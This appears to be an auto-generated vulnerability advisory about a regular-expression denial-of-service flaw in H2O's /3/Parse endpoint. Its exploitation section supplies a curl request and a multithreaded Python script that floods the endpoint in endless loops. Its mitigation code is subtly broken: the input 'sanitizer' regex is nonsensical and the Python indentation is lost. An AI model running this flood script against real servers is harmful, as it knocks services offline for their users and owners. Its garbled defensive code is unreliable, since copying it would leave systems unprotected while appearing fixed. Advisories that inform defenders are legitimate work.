H2O, Denial of Service (DoS), CVE-2025-XXXX (High Severity)

How the CVE Works:

The vulnerability exists in the `/3/Parse` endpoint of H2O version 3.46.0.1. This endpoint processes user-provided strings to construct a regular expression, which is then applied to another user-specified string. An attacker can exploit this by sending multiple simultaneous requests with carefully crafted input strings. This causes the server to exhaust all available threads while processing the computationally intensive regular expressions. As a result, the server becomes unresponsive, leading to a complete denial of service (DoS) condition. The lack of input validation and rate limiting on the endpoint exacerbates the issue, making it easier for attackers to exploit.

DailyCVE Form:

Platform: H2O
Version: 3.46.0.1
Vulnerability: Denial of Service (DoS)
Severity: High
Date: Mar 20, 2025

What Undercode Say:

Exploitation:

Craft Malicious Input: Create input strings designed to trigger complex regular expression processing.
Send Concurrent Requests: Use tools like `curl` or Python scripts to send multiple simultaneous requests to the `/3/Parse` endpoint.
```
curl -X POST http://<target-ip>:<port>/3/Parse -d 'input=<malicious-string>'
```

Overload Server: Continuously send requests to exhaust server threads.

import threading
import requests
def send_request():
url = "http://<target-ip>:<port>/3/Parse"
data = {"input": "<malicious-string>"}
while True:
requests.post(url, data=data)
for _ in range(100):
threading.Thread(target=send_request).start()

Protection:

Input Validation: Validate and sanitize user inputs to prevent malicious strings.

import re
def sanitize_input(user_input):
if re.match(r'^[bash]+$', user_input):
return user_input
raise ValueError("Invalid input")

Rate Limiting: Implement rate limiting to restrict the number of requests per user.

limit_req_zone $binary_remote_addr zone=one:10m rate=10r/s;
location /3/Parse {
limit_req zone=one burst=5;
}

Thread Management: Configure thread pools to limit resource exhaustion.
```
ExecutorService executor = Executors.newFixedThreadPool(10);
```
Patch Application: Update to the latest version of H2O if a patch is available.
```
pip install --upgrade h2o
```
Monitor Traffic: Use monitoring tools to detect unusual traffic patterns.
```
netstat -anp | grep <port>
```

Analytics:

Impact: High, as it can render the server completely unresponsive.
Attack Complexity: Low, as it requires minimal technical knowledge.
Exploit Availability: Publicly available proof-of-concept scripts.
Mitigation Difficulty: Medium, requiring configuration changes and input validation.
By following these steps, organizations can mitigate the risk of this vulnerability and protect their H2O deployments from DoS attacks.

References:

Reported By: https://github.com/advisories/GHSA-wwr9-4gmr-xvq9
Extra Source Hub:
Undercode

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